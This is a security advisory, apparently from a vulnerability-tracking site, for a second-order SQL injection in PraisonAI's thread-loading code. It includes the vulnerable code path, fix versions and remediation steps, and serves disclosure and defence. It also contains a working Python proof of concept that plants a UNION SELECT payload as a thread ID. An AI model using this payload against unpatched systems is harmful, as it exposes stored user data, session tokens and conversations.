CVE-2026-34934: PraisonAI: Second-Order SQL Injection in `get_all_user_threads`

Published Apr 1, 2026
·
Updated

Summary

The getalluserthreads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via updatethread. When the application loads the thread list, the injected payload executes and grants full database access.

---

Details

File Path: src/praisonai/praisonai/ui/sqlalchemy.py

Flow: - Source (Line 539): python await datalayer.updatethread(threadid=payload, userid=user)

- Hop (Line 547): python threadids = "('" + "','".join([t["threadid"] for t in userthreads]) + "')"

- Sink (Line 576): sql WHERE s."threadId" IN {threadids}

---

Proof of Concept (PoC)

python

import asyncio from praisonai.ui.sqlalchemy import SQLAlchemyDataLayer

async def runpoc(): datalayer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

# Insert a valid thread await datalayer.updatethread( threadid="validthread", userid="attacker" )

# Inject malicious payload payload = "x') UNION SELECT name, null, null, 'validthread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlitemaster--"

await datalayer.updatethread( threadid=payload, userid="attacker" )

# Trigger vulnerable function result = await datalayer.getalluserthreads(userid="attacker")

for thread in result: if getattr(thread, 'id', '') == 'validthread': for step in getattr(thread, 'steps', []): print(getattr(step, 'id', ''))

asyncio.run(runpoc())

Expected Output: sqlitemaster table names printed to console

---

Impact

An attacker can achieve full database compromise, including:

- Exfiltration of sensitive data (user emails, session tokens, API keys) - Access to all conversation histories - Ability to modify or delete database contents

Other sources

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the getalluserthreads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via updatethread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

MITRE

Affected Software

2 affected componentsFixes available
pip/praisonai<=4.5.89
4.5.90
Praison PraisonAI<4.5.90

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai to a version that resolves this vulnerability.

    Fixed in 4.5.90
  2. Upgrade

    Upgrade praisonai to a version that resolves this vulnerability.

    Fixed in 4.5.90
  3. Compensating control

    Restrict database access so that the SQLite database file used by SQLAlchemyDataLayer (e.g., app.db) is not directly accessible to untrusted users/processes; ensure only the application service account can read/write the DB.

Event History

Apr 1, 2026
Advisory Published
via GitHub·11:20 PM
Data Sourced
via GitHub·11:20 PM
DescriptionSeverityWeaknessAffected Software
Apr 3, 2026
CVE Published
via MITRE·10:49 PM
Data Sourced
via MITRE·10:49 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:17 PM
DescriptionSeverityWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203